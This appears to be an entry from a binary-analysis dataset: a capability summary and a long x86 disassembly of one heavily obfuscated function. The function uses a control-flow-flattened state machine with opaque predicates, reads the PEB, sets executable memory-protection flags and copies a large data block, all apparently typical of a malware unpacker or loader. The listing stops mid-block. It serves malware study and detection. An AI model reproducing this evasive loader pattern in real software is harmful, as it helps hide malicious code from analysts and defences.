Function at 0x4017a0
Capabilities:
Create thread
Get number of processors
Inspect section memory permissions
Link function at runtime on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4c194
call fcn.00438720
mov eax, dword [0x4ae2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x65d2d671
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xf9b4f333
mov esi, 0xdbb82d11
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xdbb82d11
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b03e4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
nop dword [eax + eax]
cmp eax, 0xfe17fab3
jle 0x401880
cmp eax, 0x44af78b8
jg 0x4018f0
cmp eax, 0x267d1f31
jg 0x401a2b
cmp eax, 0x133e759c
jg 0x401bed
cmp eax, 0x38f1c3c
jg 0x401f11
cmp eax, 0x13b8ecf
jg 0x4024cb
cmp eax, 0xfeb2f5f6
jle 0x402dfe
cmp eax, 0xfeb2f5f7
je 0x403d72
cmp eax, 0xff62e26e
je 0x403d97
cmp eax, 0xf17596
jne 0x401800
mov eax, dword [ebp - 0x4c05c]
mov eax, 0x496197c4
jmp 0x401800
cmp eax, 0xc404eecd
jle 0x4019a0
cmp eax, 0xe3848a64
jg 0x401a8c
cmp eax, 0xd08e6a64
jg 0x401c45
cmp eax, 0xcd1317e4
jg 0x401f83
cmp eax, 0xc8c993f9
jg 0x40251d
cmp eax, 0xc69c7c6d
jle 0x402e2a
cmp eax, 0xc69c7c6e
je 0x403dca
cmp eax, 0xc7cf5bfb
je 0x403dd4
cmp eax, 0xc89f15e0
jne 0x401800
mov eax, 0xcde2fbfc
jmp 0x401800
cmp eax, 0x60c00510
jg 0x401b2a
cmp eax, 0x532dc4b7
jg 0x401c9f
cmp eax, 0x4bb21430
jg 0x401fec
cmp eax, 0x4765910f
jg 0x402553
cmp eax, 0x45ceaa76
jle 0x402e7f
cmp eax, 0x45ceaa77
je 0x403e07
cmp eax, 0x46c0380c
je 0x403e1d
cmp eax, 0x47404d88
jne 0x401800
mov eax, dword [ebp - 0x4c0e8]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c0a0]
add eax, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c02c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c034]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x4c0e0]
vzeroupper
call fcn.0043b590
add esp, 0xc
mov eax, 0x8e5dd086
jmp 0x401800
cmp eax, 0xa22339a0
jg 0x401b81
cmp eax, 0x9495b727
jg 0x401ceb
cmp eax, 0x8e0f896e
jg 0x402033
cmp eax, 0x86381345
jg 0x402589
cmp eax, 0x81921354
jle 0x402ec7
cmp eax, 0x81921355
je 0x403e33
cmp eax, 0x839b3f38
je 0x403e3d
cmp eax, 0x8423acba
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x9acd4a68
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x267d1f32
jmp 0x40544f
cmp eax, 0x33741abc
jg 0x401d81
cmp eax, 0x2e3fe0f1
jg 0x402080
cmp eax, 0x283ae083
jg 0x4025fa
cmp eax, 0x26d46051
jle 0x402f56
cmp eax, 0x26d46052
je 0x403e4d
cmp eax, 0x27566596
je 0x403e57
cmp eax, 0x28075457
jne 0x401800
mov dword [ebp - 0x4c028], 0xc
mov eax, 0x4a9204e
jmp 0x401800
cmp eax, 0xf04feef4
jg 0x401de9
cmp eax, 0xeb77d490
jg 0x402109
cmp eax, 0xe8c66676
jg 0x402630
cmp eax, 0xe4960068
jle 0x402f7c
cmp eax, 0xe4960069
je 0x403e70
cmp eax, 0xe54af137
je 0x403ea3
cmp eax, 0xe70a5568
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x94c1e779
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3aba7ab8
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c068]
cmovge eax, ebx
mov ecx, dword [ecx]
mov dword [ebp - 0x4c0f0], ecx
jmp 0x401800
cmp eax, 0x6a3bc9fd
jg 0x401e5e
cmp eax, 0x66d9da6e
jg 0x402159
cmp eax, 0x63a50bad
jg 0x402666
cmp eax, 0x6221127c
jle 0x402ff1
cmp eax, 0x6221127d
je 0x403ec9
cmp eax, 0x622888a3
je 0x403ed3
cmp eax, 0x62bac181
jne 0x401800
mov eax, 0x53c0ed0c
jmp 0x401800
cmp eax, 0xb5ce0981
jg 0x401ebf
cmp eax, 0xaa826856
jg 0x4021c7
cmp eax, 0xa67eb554
jg 0x4026db
cmp eax, 0xa2f91438
jle 0x403017
cmp eax, 0xa2f91439
je 0x403ef4
cmp eax, 0xa4301417
je 0x403efe
cmp eax, 0xa5566c87
jne 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x77d16737
mov ebx, 0xf875b604
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf875b604
jmp 0x4054f6
cmp eax, 0x1d801059
jg 0x40221d
cmp eax, 0x17c6a32c
jg 0x402721
cmp eax, 0x146c2a4c
jle 0x403053
cmp eax, 0x146c2a4d
je 0x403f08
cmp eax, 0x155da367
je 0x403f20
cmp eax, 0x177183f1
jne 0x401800
mov eax, dword [ebp - 0x4c038]
mov dword [eax], 0
mov eax, 0xc5805941
jmp 0x401800
cmp eax, 0xdbb82d10
jg 0x4022b8
cmp eax, 0xd6a2213d
jg 0x40275d
cmp eax, 0xd25a01e3
jle 0x403082
cmp eax, 0xd25a01e4
je 0x403f39
cmp eax, 0xd2c5a129
je 0x403f91
cmp eax, 0xd54db098
jne 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, dword [eax]
mov dword [ebp - 0x4c0a4], eax
mov eax, 0x90b07b39
jmp 0x401800
cmp eax, 0x5aa13510
jg 0x402305
cmp eax, 0x57f5c5b5
jg 0x402793
cmp eax, 0x53c0ed0b
jle 0x4030ca
cmp eax, 0x53c0ed0c
je 0x403fbc
cmp eax, 0x54621636
je 0x403fde
cmp eax, 0x56331f75
jne 0x401800
mov eax, 0x30bcaf56
jmp 0x401800
cmp eax, 0x9a301043
jg 0x402346
cmp eax, 0x97beea2a
jg 0x4027c9
cmp eax, 0x952aefcb
jle 0x4030f8
cmp eax, 0x952aefcc
je 0x403ffd
cmp eax, 0x95624ace
je 0x404016
cmp eax, 0x965ace57
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xec0874fc
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x2d8edbb3
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x4c030]
mov dword [ebp - 0x4c028], 0xd
cmovge ecx, esi
mov eax, ecx
jmp 0x401800
cmp eax, 0x3bcbd3bc
jg 0x4023aa
cmp eax, 0x355df4d1
jg 0x4027ff
cmp eax, 0x33bd8f53
jle 0x403118
cmp eax, 0x33bd8f54
je 0x404020
cmp eax, 0x345f8dcf
je 0x404052
cmp eax, 0x34eddc88
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x1802636b
mov esi, 0x5e1694e4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5e1694e4
jmp 0x4017e3
cmp eax, 0xf7be2b79
jg 0x4023eb
cmp eax, 0xf3b800fc
jg 0x402876
cmp eax, 0xf25f21b7
jle 0x403147
cmp eax, 0xf25f21b8
je 0x404071
cmp eax, 0xf2b77e13
je 0x4040dc
cmp eax, 0xf2beb749
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0xd6a2213e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x59f42ab9
jmp 0x40512c
cmp eax, 0x74600abb
jg 0x40243a
cmp eax, 0x6f2d8c6e
jg 0x4028bb
cmp eax, 0x6b302330
jle 0x403167
cmp eax, 0x6b302331
je 0x404109
cmp eax, 0x6c800d2e
je 0x40414c
cmp eax, 0x6d9204c6
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xa4301417
mov esi, 0x448bd557
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x448bd557
jmp 0x4017db
cmp eax, 0xbdcf170e
jg 0x40248a
cmp eax, 0xb9d27254
jg 0x402926
cmp eax, 0xb916e64d
jle 0x403193
cmp eax, 0xb916e64e
je 0x404156
cmp eax, 0xb955f169
je 0x404197
cmp eax, 0xb9b2c593
jne 0x401800
mov eax, dword [ebp - 0x4c01c]
mov eax, 0xff62e26e
jmp 0x401800
cmp eax, 0xd93507c
jg 0x40295c
cmp eax, 0x95794bc
jle 0x4031bd
cmp eax, 0x95794bd
je 0x4041c9
cmp eax, 0xa22ba9e
je 0x4041fc
cmp eax, 0xcc6c488
jne 0x401800
mov eax, dword [ebp - 0x4c03c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4c024]
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x4c024]
mov dword [ecx], eax
mov eax, 0x2e3fe0f2
jmp 0x401800
cmp eax, 0xce18351e
jg 0x4029d9
cmp eax, 0xcd81ef2c
jle 0x40321b
cmp eax, 0xcd81ef2d
je 0x404232
cmp eax, 0xcde2fbfc
je 0x40423c
cmp eax, 0xcde977f6
jne 0x401800
mov eax, dword [ebp - 0x4c020]
mov esi, 0x67262100
mov ebx, 0xa22339a1
mov dword [eax], 0
mov eax, dword [0x4b03e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa22339a1
jmp 0x4054fe
cmp eax, 0x4fcc34ee
jg 0x402a1f
cmp eax, 0x4d5d1018
jle 0x40325b
cmp eax, 0x4d5d1019
je 0x40426f
cmp eax, 0x4ed01ca5
je 0x404283
cmp eax, 0x4eddd72f
jne 0x401800
mov eax, dword [ebp - 0x4c0cc]
mov eax, 0xaaaab5fa
jmp 0x401800
cmp eax, 0x90b07b38
jg 0x402a64
cmp eax, 0x8e5dd085
jle 0x40328a
cmp eax, 0x8e5dd086
je 0x40436a
cmp eax, 0x8fc0c8ac
je 0x4043d6
cmp eax, 0x904709d8
jne 0x401800
mov eax, dword [ebp - 0x4c03c]
mov dword [eax], 0x40
mov eax, 0x5b6b88ae
jmp 0x401800
cmp eax, 0x303455d2
jg 0x402ac2
cmp eax, 0x2f1eface
jle 0x4032d3
cmp eax, 0x2f1efacf
je 0x4043e0
cmp eax, 0x2fb43cf5
je 0x40440c
cmp eax, 0x2fd516ef
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x77a55438
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf3b800fd
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, ebx
cmp dword [ebp - 0x4c078], 0
mov eax, ecx
sets byte [ebp - 0x4c083]
jmp 0x401800
cmp eax, 0xec393d36
jg 0x402af8
cmp eax, 0xebf0cba5
jle 0x403300
cmp eax, 0xebf0cba6
je 0x40444b
cmp eax, 0xec0874fc
je 0x404464
cmp eax, 0xec088653
jne 0x401800
cmp byte [ebp - 0x4c07f], 0
mov eax, 0x94204964
mov ecx, 0x67ed09cb
cmovne eax, ecx
jmp 0x401800
cmp eax, 0x680f9edb
jg 0x402b2e
cmp eax, 0x67b939c2
jle 0x403343
cmp eax, 0x67b939c3
je 0x40447e
cmp eax, 0x67d62a7f
je 0x404488
cmp eax, 0x67ed09cb
jne 0x401800
mov eax, dword [ebp - 0x4c048]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c06c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c038]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x4c048]
mov dword [ecx], eax
mov eax, 0x7463ab12
jmp 0x401800
cmp eax, 0xaf8d6fed
jg 0x402b75
cmp eax, 0xae1ace3e
jle 0x403363
cmp eax, 0xae1ace3f
je 0x404492
cmp eax, 0xaf6e977a
je 0x4044ab
cmp eax, 0xaf866720
jne 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0xd25a01e4
mov ebx, 0x45ceaa77
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x45ceaa77
jmp 0x4054f6
cmp eax, 0x222bef7a
jg 0x402bd7
cmp eax, 0x1fd66dd4
jle 0x403396
cmp eax, 0x1fd66dd5
je 0x4044e1
cmp eax, 0x21663a66
je 0x4044eb
cmp eax, 0x21b645ba
jne 0x401800
mov eax, dword [ebp - 0x4c02c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c020]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c01c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x4c02c]
lea ecx, [ecx + ecx*4]
mov esi, dword [esi]
mov ebx, dword [ebp - 0x4c020]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
add edx, dword [esi + ebx*8 + 0xc]
push dword [ebp - 0x4c0bc]
push dword [ebp - 0x4c11c]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.00401680
add esp, 0x10
mov eax, dword [ebp - 0x4c024]
mov eax, dword [ebp - 0x4c03c]
mov eax, 0x801e4a61
jmp 0x401800
cmp eax, 0xe24a73f6
jg 0x402c13
cmp eax, 0xdf156f93
jle 0x4033e0
cmp eax, 0xdf156f94
je 0x40451b
cmp eax, 0xe0ec8295
je 0x40454e
cmp eax, 0xe1c161ea
jne 0x401800
mov eax, dword [ebp - 0x4c03c]
mov dword [eax], 0x20
mov eax, 0x95624ace
jmp 0x401800
cmp eax, 0x5e1694e3
jg 0x402c61
cmp eax, 0x5b6b88ad
jle 0x403411
cmp eax, 0x5b6b88ae
je 0x404581
cmp eax, 0x5d471593
je 0x40458b
cmp eax, 0x5dac7079
jne 0x401800
mov eax, 0xcae4b511
jmp 0x401800
cmp eax, 0x9ec51d46
jg 0x402cbf
cmp eax, 0x9acd4a67
jle 0x403443
cmp eax, 0x9acd4a68
je 0x4045aa
cmp eax, 0x9e431ef4
je 0x40460f
cmp eax, 0x9e9b563e
jne 0x401800
cmp dword [ebp - 0x4c118], 0
mov eax, dword [0x4b03e8]
mov esi, 0x53111bca
mov ebx, 0xcd1317e5
lea ecx, [eax + 1]
setne byte [ebp - 0x4c084]
imul ecx, eax
mov eax, 0xcd1317e5
jmp 0x4054f6
cmp eax, 0x40da7e2b
jg 0x402d1d
cmp eax, 0x3e675d62
jle 0x403463
cmp eax, 0x3e675d63
je 0x404642
cmp eax, 0x3e9917e1
je 0x40468d
cmp eax, 0x40c1824d
jne 0x401800
mov eax, 0xf17596
jmp 0x401800
cmp eax, 0xf9b4f332
jg 0x402d53
cmp eax, 0xf875b603
jle 0x4034ac
cmp eax, 0xf875b604
je 0x4046a6
cmp eax, 0xf8be293e
je 0x4046bc
cmp eax, 0xf8e22151
jne 0x401800
mov eax, dword [ebp - 0x4c040]
mov eax, dword [eax]
mov dword [ebp - 0x4c160], eax
mov eax, 0xa928cb05
jmp 0x401800
cmp eax, 0x77d16736
jg 0x402d89
cmp eax, 0x756814f8
jle 0x4034f5
cmp eax, 0x756814f9
je 0x4046c6
cmp eax, 0x762d481e
je 0x404706
cmp eax, 0x77a55438
jne 0x401800
cmp byte [ebp - 0x4c083], 0
mov eax, 0x238d7a8c
mov ecx, 0x46c0380c
cmovne eax, ecx
jmp 0x401800
cmp eax, 0xbfeb8af9
jle 0x402dbf
cmp eax, 0xc1eb7599
jle 0x403550
cmp eax, 0xc1eb759a
je 0x404746
cmp eax, 0xc2cc20af
je 0x40477d
cmp eax, 0xc39e91cb
jne 0x401800
mov eax, 0xfaccf4a8
jmp 0x401800
cmp eax, 0x2b0def7
jle 0x403585
cmp eax, 0x2b0def8
je 0x40487a
cmp eax, 0x2b54c08
je 0x404884
cmp eax, 0x34eaaf4
jne 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0xcebc1183
mov esi, 0xe3494423
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe3494423
jmp 0x4017e3
cmp eax, 0xcba67ce6
jle 0x4035ba
cmp eax, 0xcba67ce7
je 0x40488e
cmp eax, 0xcc17bdee
je 0x4048a6
cmp eax, 0xccc04e5d
jne 0x401800
mov eax, 0x146c2a4d
jmp 0x401800
cmp eax, 0x496197c3
jle 0x40360a
cmp eax, 0x496197c4
je 0x4048ea
cmp eax, 0x4a19b220
je 0x4048fa
cmp eax, 0x4b3bc212
jne 0x401800
mov eax, 0x5b414c81
jmp 0x401800
cmp eax, 0x89d1b6f8
jle 0x40362a
cmp eax, 0x89d1b6f9
je 0x404912
cmp eax, 0x89fda0a9
je 0x404922
cmp eax, 0x8af3fe18
jne 0x401800
push 0x4c000
push 0x457218
lea eax, [ebp - 0x4c010]
push eax
vzeroupper
call fcn.0043b590
add esp, 0xc
mov eax, 0x3dea3245
nop word cs:[eax + eax]
cmp eax, 0x3dea3245
je 0x4025f3
cmp eax, 0x9249508f
jne 0x4025e0
jmp 0x404935
mov eax, 0x9249508f
jmp 0x4025e0
cmp eax, 0x2c3c505c
jle 0x403673
cmp eax, 0x2c3c505d
je 0x40497f
cmp eax, 0x2d479b43
je 0x4049b2
cmp eax, 0x2d8edbb3
jne 0x401800
mov eax, 0xd971b12b
jmp 0x401800
cmp eax, 0xe9bf5e23
jle 0x4036bc
cmp eax, 0xe9bf5e24
je 0x4049d1
cmp eax, 0xea1e6a57
je 0x404a08
cmp eax, 0xea4ce127
jne 0x401800
mov eax, 0x47659110
jmp 0x401800
cmp eax, 0x65499abf
jle 0x4036fb
cmp eax, 0x65499ac0
je 0x404a12
cmp eax, 0x65d2d671
je 0x404a34
cmp eax, 0x65d3cc34
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x7f5b5acc
mov dword [ebp - 0x4c148], edi
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xea1e6a57
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401800
cmp eax, 0xa78755cd
jle 0x403743
cmp eax, 0xa78755ce
je 0x404ac6
cmp eax, 0xa8ae89e0
je 0x404ad6
cmp eax, 0xa928cb05
jne 0x401800
mov eax, dword [ebp - 0x4c160]
movzx eax, word [eax]
mov word [ebp - 0x4c0a6], ax
mov eax, 0xf04feef5
jmp 0x401800
cmp eax, 0x19c5ae0a
jle 0x403771
cmp eax, 0x19c5ae0b
je 0x404aea
cmp eax, 0x1bd650e9
je 0x404b29
cmp eax, 0x1be66918
jne 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, 0xe9bf5e24
jmp 0x401800
cmp eax, 0xd8e9478a
jle 0x4037df
cmp eax, 0xd8e9478b
je 0x404b5a
cmp eax, 0xd95c333a
je 0x404b64
cmp eax, 0xd971b12b
jne 0x401800
mov eax, 0x5eefab23
jmp 0x401800
cmp eax, 0x5887228a
jle 0x40382e
cmp eax, 0x5887228b
je 0x404b7f
cmp eax, 0x5895a002
je 0x404bca
cmp eax, 0x59f42ab9
jne 0x401800
mov eax, 0xd6a2213e
jmp 0x401800
cmp eax, 0x985d2cb3
jle 0x40385a
cmp eax, 0x985d2cb4
je 0x404bde
cmp eax, 0x98664766
je 0x404c24
cmp eax, 0x98d0b397
jne 0x401800
mov eax, 0xec088653
jmp 0x401800
cmp eax, 0x374558e3
jle 0x403889
cmp eax, 0x374558e4
je 0x404c2e
cmp eax, 0x3aba7ab8
je 0x404c46
cmp eax, 0x3b76fd93
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x532dc4b8
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb9d27255
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c0bc]
mov eax, dword [ebp - 0x4c020]
jmp 0x4058b8
cmp eax, 0xf4e9b5a2
jle 0x4038a9
cmp eax, 0xf4e9b5a3
je 0x404c56
cmp eax, 0xf6975d19
je 0x404c60
cmp eax, 0xf76b0775
jne 0x401800
cmp byte [ebp - 0x4c086], 0
mov eax, 0x47659110
mov ecx, 0xc8c993fa
cmovne eax, ecx
jmp 0x401800
cmp eax, 0x720eeb67
jle 0x4038c9
cmp eax, 0x720eeb68
je 0x404c86
cmp eax, 0x723608c4
je 0x404d08
cmp eax, 0x72f28d5e
jne 0x401800
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c048]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c030]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x4c070]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c04c]
mov eax, dword [ebp - 0x4c048]
mov eax, dword [ebp - 0x4c030]
mov eax, 0x720eeb68
jmp 0x401800
cmp eax, 0xbc7deae1
jle 0x403911
cmp eax, 0xbc7deae2
je 0x404d20
cmp eax, 0xbd736c2e
je 0x404d2a
cmp eax, 0xbdc238e2
jne 0x401800
mov eax, 0x60b739d5
jmp 0x401800
cmp eax, 0x111e3905
jle 0x403942
cmp eax, 0x111e3906
je 0x404d50
cmp eax, 0x1149aa98
je 0x404d90
cmp eax, 0x12aa7027
jne 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x31c0bdbd
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x24228c0f
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0ec]
cmovge eax, ebx
mov ecx, dword [ecx]
mov dword [ebp - 0x4c154], ecx
jmp 0x401800
cmp eax, 0xcf21aa2e
jle 0x403989
cmp eax, 0xcf21aa2f
je 0x404da0
cmp eax, 0xcf2eb872
je 0x404daa
cmp eax, 0xcf96876a
jne 0x401800
mov eax, dword [ebp - 0x4c020]
mov dword [ebp - 0x4c028], 0x10
mov eax, 0x9495b728
jmp 0x401800
cmp eax, 0x51ed2113
jle 0x403a01
cmp eax, 0x51ed2114
je 0x404db4
cmp eax, 0x52eb8ecc
je 0x404df8
cmp eax, 0x53111bca
jne 0x401800
cmp byte [ebp - 0x4c084], 0
mov eax, 0xcba67ce7
mov ecx, 0xaa826857
cmovne eax, ecx
jmp 0x401800
cmp eax, 0x9140d8df
jle 0x403a3d
cmp eax, 0x9140d8e0
je 0x404e14
cmp eax, 0x91db37d9
je 0x404e2d
cmp eax, 0x94204964
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x4a9204e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x28075457
jmp 0x4058ab
cmp eax, 0x30fd2aaf
jle 0x403a5d
cmp eax, 0x30fd2ab0
je 0x404e5f
cmp eax, 0x31c0bdbd
je 0x404e75
cmp eax, 0x323df1e1
jne 0x401800
mov eax, 0x1416bd9
jmp 0x401800
cmp eax, 0xede8235d
jle 0x403ac5
cmp eax, 0xede8235e
je 0x404e7f
cmp eax, 0xeead7344
je 0x404e9b
cmp eax, 0xeff1feb8
jne 0x401800
mov eax, 0xa687cacc
jmp 0x401800
cmp eax, 0x68982ac3
jle 0x403ae5
cmp eax, 0x68982ac4
je 0x404eb1
cmp eax, 0x6997023e
je 0x404ee4
cmp eax, 0x69d58318
jne 0x401800
mov eax, dword [ebp - 0x4c0f8]
mov ecx, dword [ebp - 0x4c040]
add eax, 2
mov dword [ecx], eax
mov eax, 0x21663a66
jmp 0x401800
cmp eax, 0xb228fcba
jle 0x403b2d
cmp eax, 0xb228fcbb
je 0x404f03
cmp eax, 0xb3eb5757
je 0x404f1c
cmp eax, 0xb424a3ff
jne 0x401800
push 0x400
lea eax, [ebp - 0x4c010]
push eax
push dword [ebp - 0x4c13c]
vzeroupper
call fcn.0043b590
add esp, 0xc
mov eax, dword [ebp - 0x4c02c]
lea eax, [edi + 0x18]
mov dword [ebp - 0x4c09c], eax
mov eax, 0x34eddc88
jmp 0x401800
cmp eax, 0x22a27910
jle 0x403b75
cmp eax, 0x22a27911
je 0x404f34
cmp eax, 0x238d7a8c
je 0x404f53
cmp eax, 0x24228c0f
jne 0x401800
mov eax, dword [ebp - 0x4c0ec]
mov eax, 0x12aa7027
jmp 0x401800
cmp eax, 0xe348900a
jle 0x403bbe
cmp eax, 0xe348900b
je 0x404f72
cmp eax, 0xe3494423
je 0x404f7c
cmp eax, 0xe34d6ffa
jne 0x401800
mov eax, dword [ebp - 0x4c194]
mov edx, 0x238d7a8c
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xaf8d6fee
cmove eax, edx
jmp 0x401800
cmp eax, 0x5eefab22
jle 0x403c06
cmp eax, 0x5eefab23
je 0x404f9a
cmp eax, 0x60558f61
je 0x404fb4
cmp eax, 0x60b739d5
jne 0x401800
mov eax, dword [ebp - 0x4c08c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4c08c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [eax]
mov dword [ebp - 0x4c0c4], eax
mov eax, 0x44b968b3
jmp 0x401800
cmp eax, 0xa04ff11d
jle 0x403c3b
cmp eax, 0xa04ff11e
je 0x404fcc
cmp eax, 0xa1576eaf
je 0x404fd6
cmp eax, 0xa1fd7a13
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xbb51f12c
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xcc17bdee
jmp 0x404de1
cmp eax, 0x42356fa1
jle 0x403c8c
cmp eax, 0x42356fa2
je 0x404fe0
cmp eax, 0x43cf71af
je 0x405015
cmp eax, 0x448bd557
jne 0x401800
mov eax, 0x6d9204c6
jmp 0x401800
cmp eax, 0xfb5392d7
jle 0x403cf6
cmp eax, 0xfb5392d8
je 0x40502d
cmp eax, 0xfd5d6f9d
je 0x405037
cmp eax, 0xfdcd7327
jne 0x401800
mov eax, 0xa2a63ae1
jmp 0x401800
cmp eax, 0x7bf6933e
jle 0x403d16
cmp eax, 0x7bf6933f
je 0x40504f
cmp eax, 0x7d3b5767
je 0x405070
cmp eax, 0x7f5b5acc
jne 0x401800
mov eax, 0x622888a3
jmp 0x401800
cmp eax, 0xbec14b49
jle 0x403d52
cmp eax, 0xbed1bde2
je 0x40507a
cmp eax, 0xbfe02b01
jne 0x405aae
mov eax, dword [ebp - 0x4c06c]
mov ecx, dword [ebp - 0x4c17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c038]
mov eax, 0x33bd8f54
jmp 0x401800
cmp eax, 0xfe17fab4
je 0x40509f
cmp eax, 0xfeab059e
jne 0x401800
mov eax, dword [ebp - 0x4c0f0]
mov eax, dword [ebp - 0x4c0f4]
mov eax, 0xd7830dfc
jmp 0x401800
cmp eax, 0xc404eece
je 0x4050be
cmp eax, 0xc5805941
jne 0x401800
mov eax, dword [ebp - 0x4c038]
mov esi, 0xfdcd7327
mov dword [eax], 0
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x177183f1
jmp 0x40544f
cmp eax, 0x44af78b9
je 0x4050fe
cmp eax, 0x44b968b3
jne 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xa67eb555
lea ecx, [edx + 1]
imul ecx, edx
